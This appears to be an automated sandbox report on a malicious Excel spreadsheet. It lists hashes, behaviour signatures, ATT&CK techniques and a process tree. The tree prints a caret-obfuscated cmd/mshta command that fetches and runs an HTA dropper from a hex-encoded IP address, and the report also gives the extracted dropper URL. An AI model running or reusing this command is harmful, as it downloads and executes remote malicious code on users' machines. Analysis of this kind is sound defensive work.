b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8

General

Target

b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8.xls
Size

127KB
MD5

c7c615f9680557563b23af2e2cd52d58
SHA1

4482b5d54194999f8f63bcb5fbce81e3b744d709
SHA256

b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8
SHA512

8da92cda6cebb7bab88d0854154364b79c0e3f33806e54ae37f522797e306db503de12359703a22207e961aa1938576e55e8c7b7db39c7795cf617f2c4369c20

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3004	2336	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
46	2192	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2336	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE
2336	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 3004	2336	EXCEL.EXE	71
PID 2336 wrote to memory of 3004	2336	EXCEL.EXE	71
PID 3004 wrote to memory of 2192	3004	cmd.exe	73
PID 3004 wrote to memory of 2192	3004	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:2192

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2336-117-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-120-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-121-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-130-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

Filesize
64KB

Download
memory/2336-131-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

Filesize
64KB

Download
memory/2336-289-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-290-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-291-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/2336-292-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads